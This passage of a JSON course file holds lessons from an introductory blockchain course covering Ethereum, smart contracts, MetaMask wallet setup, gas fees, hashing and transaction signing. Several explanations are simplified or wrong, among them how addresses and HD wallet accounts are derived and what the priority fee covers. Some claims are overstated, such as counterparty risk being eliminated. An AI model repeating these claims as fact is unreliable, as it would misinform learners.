its evolution from Bitcoin to Ethereum, and the significance of smart contracts.", + "duration": 11, + "videoUrl": "dfgwvXaxpyBJoWz00psKKFgu9ImCzJYxbzM5IW01tmvSs", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/2-what-is-a-blockchain/+page.md", + "markdownContent": "***\n\n## title: What is a blockchain?\n\n*Follow along with this video:*\n\n***\n\nYou can follow along with this section of the course here.\n\n### Bitcoin and Blockchain\n\nYou might be familiar with `Bitcoin`, which is one of the first protocols to utilize the revolutionary blockchain technology. The Bitcoin Whitepaper, authored by the pseudonymous `Satoshi Nakamoto`, described how Bitcoin could facilitate peer-to-peer transactions within a decentralized network using cryptography. This gave rise to censorship-resistant finance and presented `Bitcoin` as a superior digital store of value, often referred to as *digital gold*. There is a fixed amount of Bitcoin, similar to the scarcity of gold. You can learn more about this in the [Bitcoin Whitepaper](https://bitcoin.org/bitcoin.pdf).\n\n### Ethereum and Smart Contracts\n\nA few years after Bitcoin's creation, Vitalik Buterin and others founded `Ethereum`, which builds upon the blockchain infrastructure, but with additional capabilities. With Ethereum, you can create decentralized transactions, organizations, and agreements without a centralized intermediary. This was achieved through the addition of `smart contracts`.\n\nThough the concept of smart contracts was originally conceived in 1994 by **[Nick Szabo](https://en.wikipedia.org/wiki/Nick_Szabo)**, Ethereum made it a reality.\n\n> Smart contracts are a set of instructions executed in a decentralized way without the need for a centralized or third party intermediary.\n\nSmart Contract functionality is the primary difference between blockchains like `Ethereum` and `Bitcoin`. Technically `Bitcoin` does have smart contracts but they're intentionally `turing incomplete`.\n\n### The Oracle Problem\n\nHowever, smart contracts face a significant limitation – they cannot interact with or access data from the real world. This is known as the `Oracle Problem`.\n\nBlockchains are deterministic systems, so everything happens within their ecosystem. To make smart contracts more useful and capable of handling real-world data, they need external data and computation.\n\nOracles serve this purpose. They are devices or services that provide data to blockchains or run external computation. To maintain decentralization, it's necessary to use a decentralized Oracle network rather than relying on a single source. This combination of on-chain logic with off-chain data leads to `hybrid smart contracts`.\n\n> **Note:** Most of this course will assume we'r working with an Etherum or EVM environment. The skills you learn here will be compatible with the vast majority of blockchain architectures!\n\n### Chainlink\n\n**[Chainlink](https://chain.link/)** is a popular decentralized Oracle network that enables smart contracts to access external data and computation. Chainlink is also blockchain agnostic - so it's going to work with any chain out there.\n\n### Layer 2 Scaling Solutions\n\nAs blockchains grow, they face scaling issues. Layer 2, or L2, solutions have been developed to address this. L2 solutions involve other blockchains hooking into the main blockchain, essentially allowing it to scale. There are two primary types of L2 solutions:\n\n* **Optimistic Rollups:** eg. Optimism, Arbitrum\n* **Zero-Knowledge Rollups:** eg. ZK Sync, Polygon ZK EVM\n\nDon't worry too much about this now. Once we understand how blockchains work 'under the hood', we'll go further into Layer 2's then.\n\n### Terminology\n\nYou're going to hear some terms used in this course (and the community as a whole) a little interchangeably. Maybe you haven't heard these terms before. I hope this offers a bit of clarification.\n\n
\nCommon Terms\n\n1. **Blockchain**: In web3, a blockchain is a digital ledger that records transactions across many computers in a secure and decentralized manner. Each block contains a number of transactions, and every new block is linked to the previous one, forming a chain. This makes the data tamper-resistant. *Example*: Bitcoin's blockchain records all BTC transactions.\n2. **Oracle**: Oracles in web3 are intermediaries that provide smart contracts with external data. They act as bridges between blockchains and the outside world, allowing smart contracts to execute based on real-world events and data. *Example*: A weather oracle provides data for a smart contract that triggers crop insurance payments based on rainfall data.\n3. **Layer 2**: Layer 2 solutions in web3 are technologies built on top of a blockchain (Layer 1) to improve its scalability and efficiency. These solutions handle transactions off the main chain, reducing congestion and fees, and then settle the final state on the main chain. *Example*: The Lightning Network for Bitcoin.\n4. **Dapp (Decentralized Application)**: A Dapp is an application that runs on a decentralized network, typically a blockchain. It is powered by smart contracts and operates without a central authority. Dapps can serve various purposes, from finance to gaming. *Example*: Uniswap, a decentralized finance application.\n5. **Smart Contract**: In web3, a smart contract is a self-executing contract with the terms of the agreement directly written into code. They run on blockchains and automatically execute when predetermined conditions are met, without the need for intermediaries. *Example*: A smart contract for an escrow service.\n6. **Hybrid Smart Contract**: Hybrid smart contracts combine on-chain code (running on a blockchain) with off-chain data and computations provided by oracles. This allows the contracts to interact with data and systems outside their native blockchain. *Example*: A smart contract for insurance that uses real-world data (like weather or flight delays) provided by oracles.\n7. **Ethereum/EVM (Ethereum Virtual Machine)**: Ethereum is a blockchain platform known for its smart contract functionality. The Ethereum Virtual Machine (EVM) is its computation engine that executes smart contracts. Ethereum allows developers to build decentralized applications and is the basis for many web3 projects. *Example*: ERC-20 tokens, a standard for creating fungible tokens on Ethereum.\n\n
\n\n### Web3\n\nWeb3 is a term used to describe the new paradigm of the internet powered by blockchain and smart contracts. Unlike the previous versions of the web, web3 is permissionless and relies on decentralized networks rather than centralized servers. This ushers in an era of censorship-resistant and transparent agreements and transactions, often called an ownership economy.\n\n**Web1:** The permissionless open sources web with static content\n\n**Web2:** The permissioned web, with dynamic content where companies run your agreements on their servers.\n\n**Web3:** The permissionless web with dynamic content.\n\n* Decentralized censorship reesistant networks run your agreemeent and code.\n* User owned ecosystems where one owns a portion of the protocol they interact with - instead of solely being the product\n\n### Wrap Up\n\nWe've taken a high-level view of the blockchain landscape, including its history and the problems that smart contracts solve.\n\nAt this point you might be asking yourself *what do these smart contracts really mean?* or *what is meant by trust minimized agreements/unbreakable promises?*\n\nIn my mind a technology is really only as good as the problem it solves. So next, we're going to look at what the **purpose** of `smart contracts` is - what's the value proposition exactly?\n\nLet's take a closer look at the undeniable value of `smart contracts` in the next lesson.\n", + "updates": [] + }, + { + "lessonId": "3e87b91a-c18e-4152-a9f7-dac2a0aa7819", + "number": 3, + "slug": "the-purpose-of-smart-contracts", + "title": "The purpose of smart contracts", + "description": "Exploration of the purpose of smart contracts, their advantages over traditional agreements, and their impact on various industries.", + "duration": 14, + "videoUrl": "mWYTvJoCNJN2Ri8KpL3dioc102na9iB6z2csWjWyefSk", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/3-the-purpose-of-smart-contracts/+page.md", + "markdownContent": "***\n\n## title: The purpose of smart contracts\n\n*Follow along with this video:*\n\n***\n\n### The Essence of Blockchain and Smart Contracts\n\nAlmost every interaction or transaction in our lives involves some form of agreement or contract. For instance, purchasing a chair involves a contract to buy lumber, assemble it, and sell the finished product. Your electricity supply is also based on an agreement between you and the electric company.\n\nTo make it more relatable, think of contracts and agreements as promises. When you get an oil change for your car, you're promised a service in exchange for money. Traditional contracts, however, require trust between parties, and this doesn’t always work in favor of honesty and fairness.\n\n### The Problem with Traditional Agreements\n\nLet's take an example: In the 80s and 90s, McDonald’s Monopoly game promised customers a chance to win money through game cards obtained with purchases. However, it turned out that the game was rigged by insiders who manipulated the system for their gain. Essentially, McDonald’s failed to keep its promise.\n\nThis example demonstrates that relying on trust within agreements can lead to fraudulent activities and broken promises.\n\n### Enter Smart Contracts\n\nWith smart contracts, we can eliminate the need for trust. A smart contract is an agreement or a set of instructions that are deployed on a decentralized blockchain. Once deployed, it cannot be altered, it automatically executes, and everyone can see its terms.\n\nImagine if McDonald’s Monopoly game was operated on a blockchain through a smart contract. The fraudulent activities would have been impossible due to the immutable, decentralized, and transparent nature of smart contracts.\n\n## Real-World Implications and Solutions\n\n### Financial Markets Access\n\nCentralized bodies, like traditional exchanges, have the power to restrict access to financial markets. This was evident when Robinhood restricted trading on certain assets in 2021. With decentralized exchanges like Uniswap, there is no central authority that can alter or limit market access. This introduces fairness and openness to the financial markets.\n\n### Banking and Trust\n\nTraditional banks have sometimes failed to keep the promise of safeguarding people's money, as seen during the Great Depression. Blockchain and smart contracts can ensure transparency and execute automated solvency checks, preventing the bank from becoming insolvent.\n\nThe core of blockchain and smart contracts lies in creating a trustless system where agreements are transparent, unchangeable, and executed without human intervention. This technology holds the potential to revolutionize industries and everyday agreements by ensuring honesty and fairness.\n\n#### Comparison\n\n* Traditional Agreements: Require trust in a centralized entity.\n* Smart Contracts: Transparent, decentralized, and tamper-proof.\n\nIn a scenario where you have to choose, smart contracts are an obvious choice as they cannot be manipulated or altered in anyone's favor.\n\n### Applications and Innovations\n\nSmart contracts are relatively new, but have already started transforming various markets. One such example is decentralized finance (DeFi), which has over 200 billion dollars in protocols. This movement is providing a more fair, accountable, and transparent financial system.\n\nMore industries are adopting smart contracts and blockchain due to the numerous advantages they offer. This results in trust-minimized agreements or what can be simply termed as unbreakable promises.\n\n### Beyond Trust Minimization\n\nIt is important to note that blockchain, smart contracts, and cryptocurrencies are not just about trust-minimized agreements. They offer security benefits, uptime advantages, execution speed, and much more.\n\n### Caution: Not All Are Equal\n\nHowever, beware of platforms that claim to be decentralized but are not in practice. An example from 2022 is the `SBF's FTX platform`. It presented itself as a Web3 platform, but was essentially a traditional Web2 company using cryptocurrency without the benefits of smart contracts.\n\nAs an emerging developer or user in this space, it's important to discern between legitimate projects and those that aren't contributing to the ethos of Web3.\n\n### Summary\n\n* Bitcoin was the first to bring blockchain technology and cryptocurrencies to the mainstream as a decentralized store of value.\n* Ethereum and other platforms took it a step further by enabling smart contracts, allowing for decentralized, trust-minimized agreements.\n* Smart contracts can interact with the real world through decentralized oracle networks like Chainlink. It combines on-chain logic with off-chain data, allowing smart contracts to have the features that traditional contracts have.\n* Digital currencies like Ethereum and Bitcoin have inherent value even without smart contracts. The decentralized, censorship-resistant nature of these currencies is a powerful aspect.\n", + "updates": [] + }, + { + "lessonId": "39bb34be-6a9f-40f5-ba68-7956777d2d9d", + "number": 4, + "slug": "smart-contract-landscape", + "title": "Current smart contract landscape", + "description": "Overview of the current landscape of smart contracts, their features like decentralization, transparency, and applications in different fields.", + "duration": 9, + "videoUrl": "e02f015lD00xWapTfzFs7maaARxsNWorKwpWBQ9r6y7DyA", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/4-current-smart-contract-landscape/+page.md", + "markdownContent": "***\n\n## title: The Current Smart Contract Landscape\n\nYou can follow along with this section of the course here.\n\n## Features of Smart Contracts\n\nSmart contracts come with various features that distinguish them from traditional agreements.\n\n### Decentralization\n\nThe first feature is decentralization; smart contracts do not rely on any centralized intermediary. Instead, they run on a blockchain which is maintained by thousands of individuals known as node operators. It's the collective effort of these node operators running the smart contracts that make the network decentralized. This aspect will be discussed more in-depth later.\n\n### Transparency and Flexibility\n\nTransparency is inherent to blockchain networks. Since all node operators can see everything happening on-chain, there is no room for unfair or hidden deals. This transparency ensures that everyone has access to the same information and plays by the same rules.\n\nIt is important to note that this transparency does not necessarily compromise privacy. Blockchain is pseudo-anonymous, meaning that your transactions are not directly tied to your real-world identity.\n\n### Speed and Efficiency\n\nSmart contracts and blockchain transactions are incredibly fast and efficient compared to traditional banking systems. For example, bank transfers, especially international ones, can take up to several weeks, whereas blockchain transactions happen almost instantly. This speed is not only convenient but also allows for more efficient interactions between parties.\n\n### Security and Immutability\n\nOnce a smart contract is deployed, it cannot be altered or tampered with. This immutability ensures that the terms of the contract are set in stone. This is a stark contrast to centralized systems where a server or database can be hacked, and data can be altered. The decentralized nature of blockchain makes hacking nearly impossible since an attacker would have to take control of more than half the nodes, which is significantly more challenging than compromising a single centralized server.\n\nAdditionally, the data on a blockchain is resilient. In a traditional system, if your computer and backups fail, you lose all your data. In contrast, in a blockchain, your data is replicated across thousands of nodes. Even if several nodes were to go down, your data would remain secure as long as there is at least one copy of the blockchain.\n\n### Elimination of Counterparty Risk\n\nSmart contracts eliminate the need for trust in transactions. Once a smart contract is deployed, its terms cannot be changed. This means that parties cannot alter the agreement based on greed or any other factors. This ensures that the agreement is enforced as originally intended.\n\nIn traditional systems, there is always a risk that the other party might not fulfill their end of the bargain. With smart contracts, this risk is eliminated, and agreements are enforced programmatically.\n\n## Applications of Smart Contracts\n\nSmart contracts have given rise to new industries and revolutionized existing ones.\n\n### Decentralized Finance (DeFi)\n\nDeFi, or Decentralized Finance, allows users to engage with financial markets without relying on centralized intermediaries. With smart contracts, users have transparent access to financial markets and can engage with sophisticated financial products efficiently and securely. We will provide practical examples of how to build and interact with DeFi protocols in upcoming lessons.\n\n### Decentralized Autonomous Organizations (DAOs)\n\nDAOs are governed entirely by smart contracts and operate in a decentralized manner. This structure offers benefits such as transparent governance, efficient engagement, and clear rules. DAOs are an evolution in politics and governance, and we will cover how to build and work with DAOs in future lessons.\n\n### Non-Fungible Tokens (NFTs)\n\nNFTs, or Non-Fungible Tokens, can be thought of as digital art or unique assets. NFTs have created new avenues for artists and creators to monetize their work. We will also cover how to create and interact with NFTs in this course.\n\n### Other Applications\n\nAnd then, maybe *you'll* be the one to discover the next iteration of smart contract applications!\n\n## Making Your First Transaction\n\nYou've gained a high-level understanding of smart contracts and their applications. It’s now time to dive into the practical aspect. In the next section, we will guide you through setting up a wallet and making your first transaction. Let's immerse ourselves in this new world.\n", + "updates": [] + }, + { + "lessonId": "9a54e679-4c55-4947-a2ab-4bd749634a99", + "number": 5, + "slug": "metamask-setup-making-your-first-transaction", + "title": "Setup your wallet - making your first transaction", + "description": "Guidance on setting up a Metamask wallet, understanding its interface, and the significance of secret recovery phrases in Ethereum transactions.", + "duration": 20, + "videoUrl": "CyWaIeeuhMigPsLhkmtkcXwMuHTApA00oYJUIrcvhkx8", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/5-making-your-first-transaction/+page.md", + "markdownContent": "***\n\n## title: Making your first transaction\n\nYou can follow along with this section of the course here.\n\n## Setting up Metamask for Ethereum Transactions\n\nIn this section, we will learn how to make a transaction on a test Ethereum blockchain using Metamask, a popular cryptocurrency wallet.\n\n### Visiting Ethereum Website\n\n* Go to the Ethereum website [ethereum.org](https://ethereum.org).\n\n### Understanding Blockchains\n\n* We will make our first transaction on a test Ethereum blockchain.\n* This process works the same across all EVM (Ethereum Virtual Machine) compatible blockchains and layer 2 solutions like Arbitrum, Ethereum, ZK Sync, etc.\n* EVM compatibility will be explained later.\n\n### Setting up Metamask Wallet\n\n1. To send a transaction on EVM chains, set up a wallet. We'll use Metamask as it's one of the most popular and easiest wallets.\n2. Go to [Metamask](https://metamask.io).\n3. Install the Metamask extension for your browser (e.g., Chrome, Firefox, or Brave).\n4. Once installed, you’ll see the extension in the top-right corner of your browser.\n5. Click \"Get Started\".\n6. Select \"Create a New Wallet\".\n7. Agree to help Metamask improve (optional).\n8. Create a password. Make sure it’s secure.\n\n **Note**: This wallet will be for development purposes, so you may use a weaker password. But never put real money into this wallet. Treat it as a real wallet to familiarize yourself with good wallet safety.\n\n### Secret Recovery Phrase (Master Key)\n\n1. Metamask will provide you with a secret recovery phrase.\n2. This is a series of 12 words generated when you first set up Metamask.\n3. The phrase allows you to recover your wallet and funds if you ever lose access.\n4. Secure your wallet by keeping your secret recovery phrase safe and secret. Write it down, store it in a safe deposit box, or use a secure password manager. Some even engrave their phrase on a metal plate.\n\n **Warning**: If anyone gets access to your secret recovery phrase, they can access and take all your funds. No one, including the Metamask team, can help you recover your wallet if you lose the phrase.\n5. Select \"Secure My Wallet\".\n6. Write down your secret recovery phrase and save it securely.\n7. Confirm by re-entering your phrase.\n8. Click \"Got it\" after creating your wallet.\n\n### Understanding the Metamask Interface\n\n1. You can see the interface of your Metamask wallet.\n2. Pin Metamask to the top of your browser for easy access.\n3. In Metamask, you can create multiple accounts. Each account has a different address.\n4. All accounts created in Metamask share the same secret phrase but have different private keys.\n\n **Note**: Access to the secret phrase grants control to all accounts, while access to a private key only grants control to a single account.\n\n### Selecting a Network\n\n1. At the top-right of the Metamask interface, you’ll see “Ethereum Mainnet”.\n2. Click on it to see all the networks that Metamask can access.\n\nIn this section, we have set up a Metamask wallet for development purposes and learned about the secret recovery phrase and its importance. In the next section, we will make a transaction on a test Ethereum blockchain.\n", + "updates": [] + }, + { + "lessonId": "8f1efe3d-f43e-4e53-aa3f-0eff1b1afc1c", + "number": 6, + "slug": "introduction-to-gas", + "title": "Introduction to gas", + "description": "Introduction to the concept of 'gas' in Ethereum, its role in transactions, and the mechanics of calculating transaction fees.", + "duration": 10, + "videoUrl": "WSgFweMwihZANonY8nulxWhnUOuG6rx8d8YBjsvSJbE", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/6-introduction-to-gas/+page.md", + "markdownContent": "***\n\n## title: Introduction to Gas\n\nYou can follow along with this section of the course here.\n\n***\n\nWelcome to our comprehensive guide on understanding Ethereum transactions. Here, we will discuss important concepts ranging from transaction fees and gas prices, mining incentives, computational measures in transactions, to hands-on experience of sending a transaction in Ethereum’s test network.\n\nLet's jump right in!\n\n## Transaction Fee and Gas Price: What are they?\n\n\"etherscan\n\nWhile inspecting an Ethereum transaction, two terms invariably catch the glance: \"transaction fee\" and \"gas price\". Let's clarify what they are and why they matter.\n\nThe transaction fee is the amount rewarded to the block producer for processing the transaction. It is paid in Ether or GWei. The gas price, also defined in either Ether or GWei, is the cost per unit of gas specified for the transaction. The higher the gas price, the greater the chance of the transaction being included in a block.\n\n> Gas price is not to be confused with gas. While gas refers to the computational effort required to execute the transaction, gas price is the cost per unit of that effort.\n\nWhen we click on \"more details\" in a transaction overview, we can see further information including the `gasLimit and Usage by transaction`.\n\nNow, let's address an important question: who gets these transaction fees and why?\n\n## The Role of Nodes in Blockchain\n\nBlockchains are run by a group of different nodes, sometimes referred to as miners or validators, depending on the network. These miners get incentivized for running the blockchain by earning a fraction of the native blockchain currency for processing transactions. For instance, Ethereum miners get paid in Ether, while those in Polygon get rewarded in MATIC, the native token of Polygon. This remuneration encourages people to continue running these nodes.\n\n## Understanding Gas in Transactions\n\nIn the context of transactions, gas signifies a unit of computational complexity.\n\nThe higher a transaction's complexity, the more gas it requires. For instance, common transactions like sending Ether are less complex and require relatively small amounts of gas. However, more sophisticated transactions like minting an NFT, deploying a smart contract, or depositing funds into a DeFi protocol, demand more gas due to their complexity.\n\nThe total transaction fee can be calculated by multiplying the gas used with the gas price in Ether (not GWei). Therefore, `Transaction fee = gasPrice * gasUsed`.\n\n## Hands-on: Sending an Ethereum Transaction\n\nIn any blockchain, making a transaction requires the payment of a transaction fee (in terms of the native token) to the blockchain nodes processing that transaction. Let's take an example of a transaction using the MetaMask extension, a popular Ethereum wallet.\n\nHere are the steps:\n\n1. Open MetaMask and click \"Expand View\".\n2. Choose the account to use for the transaction.\n3. Click on \"Send\".\n4. Select \"Transfer between my accounts\".\n5. Enter the account to send the Ether to, and the amount you wish to send.\n6. Click \"Next\". MetaMask will automatically calculate the gas fee for you. The total amount to be paid is the sum of the Ether value you're sending and the gas fee.\n7. Click \"Confirm\".\n\nThe transaction would now appear in the Activity tab of MetaMask. After a short while, the transaction gets processed, and you can view its details in a block explorer like Etherscan.\n\nYou have now executed your first blockchain transaction!\n\nDespite its simplicity, knowing how to process transactions with MetaMask is vital and empowers you to interact with protocols on the Ethereum network and other blockchains. However, to fully understand Ethereum and the blockchain landscape, it's crucial to delve into the details behind these transactions and the fundamental mechanics of blockchains.\n\nRemember, mastering the nuances of blockchain transactions and understanding the mechanics behind Ethereum will enable you to become a powerful developer in the decentralized world.\n\nStay tuned for more insights into the world of blockchain development!\n", + "updates": [] + }, + { + "lessonId": "813188a3-0241-4fac-85f4-a05d1e5349cc", + "number": 7, + "slug": "how-do-blockchains-work", + "title": "How do blockchains work", + "description": "Detailed explanation of the working of blockchains, the importance of hash functions, and the concept of blockchain immutability.", + "duration": 18, + "videoUrl": "SiM1dHjrSYX4BWfqynAup00pHV4sFEFS01ko36WwYBSu8", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/7-how-do-blockchains-work/+page.md", + "markdownContent": "***\n\n## title: How do blockchains work?\n\nYou can follow along with this section of the course here.\n\nIn this in-depth tutorial, we're going to immerse ourselves in the complex yet captivating world of blockchain technology. Specifically, we're going to break down the process and the technology itself using a widely-praised and accessible demo available [here](https://andersbrownworth.com/blockchain/).\n\n## Understanding Hash Functions\n\n\n\nAt its simplest, a hash is a unique, fixed-length string that serves to identify any piece of data. When you input any kind of data into a hash function, it produces a hash. In this demo, the hash algorithm we'll focus on is SHA-256.\n\nIf I add `Patrick Collins` to our `SHA-256` algorithm, it will:\n\n1. Convert the letters to numbers\n2. Convert the numbers to a fixed-length “string” or “hash”\n\n`Patrick Collins` gets converted to `7e5b5a1a6b80e2908b534dd5728a998173d502469c37121dd63fca283068077c`\n\nEthereum, a popular blockchain platform, uses its own version of a hashing algorithm that isn't exactly SHA-256 but belongs to the SHA family. This doesn't change things significantly as we're primarily concentrating on the concept of hashing.\n\nIn the application, whatever data you enter into the data section, undergoes processing by the SHA-256 hash algorithm resulting in a unique hash.\n\n> For example, when I input my name as \"Patrick Collins,\" the resulting hash uniquely represents \"Patrick Collins.\" The fascinating aspect is, no matter how much data is input, the length of the generated hash string remains constant.\n\n## Blockchain: Building Block by Block\n\n\n\nNow that we've grasped the concept of hashing and fixed-length string, let's inspect the structure of a blockchain—a collection of \"blocks.\"\n\nA block takes the same data input, but instead of a singular data field, a block is divided into 'block', 'nunce', and 'data.' All three are then run through the hash algorithm, producing the hash for that block. Hence, even a minor change in the data leads to an entirely different hash, hence, invalidating the block.\n\nThe data input can also change through a process called \"mining\". In essence, mining involves the computational trial and error process of finding an acceptable value to produce a hash which typically follows a certain pattern, such as starting with four zeros. The value found, which satisfies this criterion, is known as the 'nunce'.\n\n## The Inherent Beauty of Blockchain: Immutability\n\n\n\nIn a blockchain, which is essentially a sequence of blocks, one block corresponds to the data of block 'nonce', 'nunce' and the hash of the previous block. As a result of this, the tampering of any single block invalidates the rest of the chain instantly, due to the cascading effect of the hash changes. This reveals the inherent feature of immutability in a blockchain.\n\n> For instance, even typing a single 'A' in the place of a 'B' in a block data would require the entire blockchain to be re-computed to restore validity, an extremely resource intensive operation.\n\n## Dissecting the Decentralization & Distributed Aspect\n\n\n\nMoving forward, the crux of blockchain's power lies in its decentralization or distributed nature. Under this system, multiple entities or \"peers\" run the blockchain technology, each holding equal weight and power. In the event of disparity between the blockchains run by different peers (due to tampering or otherwise), the majority hash wins, as the majority of the network agrees on it. Hence, in summary, the majority rules in the world of blockchain technology.\n\n## Interplay of Blockchain & Transactions\n\n\n\nA blockchain is much more than an immutable record—it is an efficient and secure medium for transactions. Just as we allowed ourselves to experiment with random strings of data, we can replace the data sections with transaction information. In the event of an attempt to tamper with a past transaction—for instance, transferring a higher amount of money from one peer to another—the rest of the blockchain immediately becomes invalid, and the tampered blockchain will stand out as different from the majority of honest blockchains.\n\n## Wrapping up with Private & Public Keys\n\nFinally, if you're wondering how the system ascertains the identities behind the transactions—consider Darcy sending $25 to Bingley—this is where public and private keys come into play. Without going too deep into this topic, these keys ensure the authenticity and non-repudiation of transactions.\n\nTo summarize, every transaction, block, and indeed the whole blockchain itself comes down to understanding the concept of a hash—this unique fixed-length string that is intrinsically linked with the original data. We've also underscored the importance of decentralization and highlighted how the concept of immutability plays into the system's security. Stay tuned for subsequent posts where we delve into topics like public and private keys, smart contracts, and more.\n", + "updates": [] + }, + { + "lessonId": "a3c23224-9059-4be2-a5aa-d860451df2de", + "number": 8, + "slug": "signing-ethereum-transactions", + "title": "Signing transactions", + "description": "In-depth look at the process of signing blockchain transactions, the role of private and public keys, and their significance in maintaining security.", + "duration": 10, + "videoUrl": "ZG83igjpCM6n7i02RbEmmGYCxbmWGXpWrte600TbNtRf00", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/8-signing-transactions/+page.md", + "markdownContent": "***\n\n## title: Signing Transactions\n\nYou can follow along with this section of the course here.\n\n# Understanding Blockchain Transaction Signatures, Private and Public Keys\n\nThe beauty and security of blockchain technology revolve around the privacy and secure nature of transactions. In this blog post, we will demystify this concept by digging deeper into how transaction signing, private and public keys, and other cryptographic pieces lend credence to blockchain transactions.\n\n\"public\n\n## What are Private and Public Keys?\n\nUnderstanding the relationship between private and public keys is essential to grasping the concept of blockchain transactions. In essence, a private key is a randomly generated secret key used to sign all transactions.\n\n```python\nprivate_key = generate_random()\n```\n\nThe private key is then passed through an algorithm (the Elliptic Curve Digital Signature Algorithm for Ethereum and Bitcoin) to create the corresponding public key. Both the private and public keys are central to the transaction process. However, while the private key must remain secret, the public key needs to be accessible to everyone.\n\n## How does Transaction Signing Happen?\n\nConsider a simple scenario; Darcy sends $400 to Bingley. To verify this transaction, Darcy uses her private key to sign the transaction.\n\n```python\nsignature = sign(data, private_key)\n```\n\nThis creates a unique message signature that can't be used to derive the private key, but can be verified using the public key.\n\n```python\nverify(signature, public_key)\n```\n\nWhen person X attempts to impersonate Darcy and send a transaction, the fake transaction can be easily detected as the transaction signature doesn't match the public key.\n\n## Importance of Hiding Private Keys\n\nThe concept of private keys is implemented in your MetaMask account, nestled away in the Settings section. The private key isn't displayed, but is readily available when the password is entered, telling a tale of how critical it is to secure it.\n\n```python\nprint(meta_mask_private_key)\n```\n\nAnyone with access to the private key can perform and sign transactions, consequently making it absolutely vital to safeguard private keys.\n\n## The Ethereum Address and your Private Key\n\n\"sign\n\nInterestingly, the Ethereum address is a part of your public key. It's derived from hashing the public key via the Ethereum hashing algorithm and extracting the last 20 bytes. While the procedure may differ from one blockchain to another, the principle remains the same - the address is a derivative of the public key.\n\n## Recapping the Key Concepts\n\n* Your private key is super-secret, held securely by you alone as it holds the power to authorize transactions.\n* The public key created via digital signature algorithm on your private key verifies your transaction signatures.\n* The Ethereum address, an offshoot of your public key, is publicized and harmless.\n\n\"key\n\nThe private and public keys, paired with the address, create a securely functioning transaction system. This security is extended in the MetaMask account with the creation of new accounts.\n\nThe creation of any new account in your MetaMask involves your 'mnemonic' or secret phrase. The process employs simple hashing and takes your secret phrase, adds a number to it (corresponding to the new account number you want), and generates a new hash to create a private key for your new account.\n\nThus, if your mnemonic is shared, access to all the accounts created in your MetaMask or wallet is granted. However, sharing your private key only allows access to a single account, while sharing your public key or address is perfectly safe.\n\nOn a note of caution, the mnemonic is a highly treasured piece of information that needs unrelenting protection. A stolen mnemonic means access to all your accounts. Losing access to a single account due to a mishandled private key, although worrisome, is less damaging. Your public key and address, albeit valueless when displaced, are crucial pillars that solidify blockchain's security architecture.\n\nIn summary, your private key, public key, and address closely collaborate to generate, authenticate and secure transactions in the blockchain world. Maintaining their confidentiality and understanding their functions in the transaction process ensures seamless and safe blockchain usage.\n", + "updates": [] + }, + { + "lessonId": "6f36bc8a-e920-406a-9885-39642b7864ef", + "number": 9, + "slug": "gas-in-depth", + "title": "Gas in depth", + "description": "Further exploration into the concept of 'gas' in blockchain transactions, including gas limits, transaction fees, and Ethereum's EIP 1559.", + "duration": 10, + "videoUrl": "HMm00lQXm42nLZJCbpH2OagFlxrmuHZvNB3Ff9TqcHIc", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/9-gas-II/+page.md", + "markdownContent": "***\n\n## title: Gas II\n\nYou can follow along with this section of the course here.\n\n# Decoding the Essence of Blockchains: Transactions and Gas\n\nOver the previous couple of blog posts, we've tried to unravel the mechanism underlying blockchains in detail. Today, the focus is on blockchain transactions and the concept of 'gas.'\n\nDon't stress if this topic sounds complex; by the end of this post, the understanding of transactions and gas in the blockchain world will become more accessible.\n\n\"block\n\n## Back to Basics: Transaction Fee and Gas Limit\n\nTo start, let's focus on a transaction's cost or its transaction fee. It's the expense incurred when performing a transaction. You can view this on Etherscan under the block base fee per gas plus the max priority fee per gas times the gas used section.\n\nTake a close look, though. Ethereum, like other digital currencies, may govern transactions differently. It follows EIP 1559, for instance.\n\n\"set\n\nIf we delve deeper, we find that the transaction used gas equal to the gas limit. Now the gas limit is changeable and is the maximum gas you're willing to use up in a transaction. This limits the computation units and prevents overuse. It can be adjusted using MetaMask (or any other Ethereum wallet).\n\n```python\nclick Send-> Advanced -> change Gas limit.\n```\n\nMetaMask defaults the gas to 21,000 (Base cost for transferring Ether). Also present here are the priority fee and max base fee. If the gas needed exceeds the limit set, the transaction fails.\n\n## Blockchain Jargon: Gwei and Ether\n\nPricing in Ethereum uses a unit called `gwei`. Unfamiliar with this term? Let me simplify it for you. Just as dollars and cents are part of the same family, Ethereum and gwei are too. Visit [Ethconverter.com](https://eth-converter.com/) to see one Ether's worth in terms of GWei.\n\n\"set\n\nThe Max fee refers to the maximum gas fee we're ready to shell out for the transaction. It could be more than the actually paid gas price. Furthermore, the 'Max Priority Fee' accounts both for the maximum gas fee and the maximum tip given to miners.\n\n## Gas Burning and Transaction Fees\n\nWith Ethereum's EIP 1559, a portion of the transaction fee is subtracted permanently from the total Ether supply, thereby 'burning' it. This eventually leads to a decrease in its circulation. The rest proceeds to miners. To tabulate the exact amount given to miners, subtract the 'burnt' fee from the total fee.\n\nEach transaction type is unique, and Ethereum type 2 EIP 1559 signifies these gas fee and burning transactions.\n\n\"brun\n\nEthereum's unique base fee system changes in response to the demand for transaction inclusion. If more transactions need inclusion, the base fee rises, and vice versa. This base fee is mathematically adjusted to maintain block capacity at around 50%.\n\n## A Recap on Transactions\n\n> \"Every transaction on blockchain consists of unique transaction hash, status, block number, block confirmations, gas used, gas limit, timestamp, senders and receiver's address, transaction fee and so on.\"\n\nCheck the image below for a more comprehensive overview.\n\n\"gas\n\n## Minutiae of Blockchains\n\n* The unique transaction hash identifies each transaction.\n* 'Block confirmations' signify the number of blocks mined after a block's inclusion. The higher the number of confirmations, the more secure the blockchain.\n* Once the transaction is included, you can see the block and all its transactions.\n* For Ethereum transfers, input data remains blank, but for Smart Contracts, it holds crucial transaction information.\n* The State tab, for advanced users, shows state changes linked to the transaction.\n\nWith the basics of blockchains, transactions, and gas now clearer, it's time to dive deeper into the blockchain fundamentals. Y\n\nNow that you're all geared up with the theoretical know-how, it's time to dive into the practice! Incidentally, that's what we will be exploring in the next post. Stay tuned!\n", + "updates": [] + }, + { + "lessonId": "872fe9ea-6511-413a-acaf-5f997e725417", + "number": 10, + "slug": "how-the-blockchain-works", + "title": "Blockchain Overview", + "description": "Comprehensive overview of fundamental blockchain concepts including 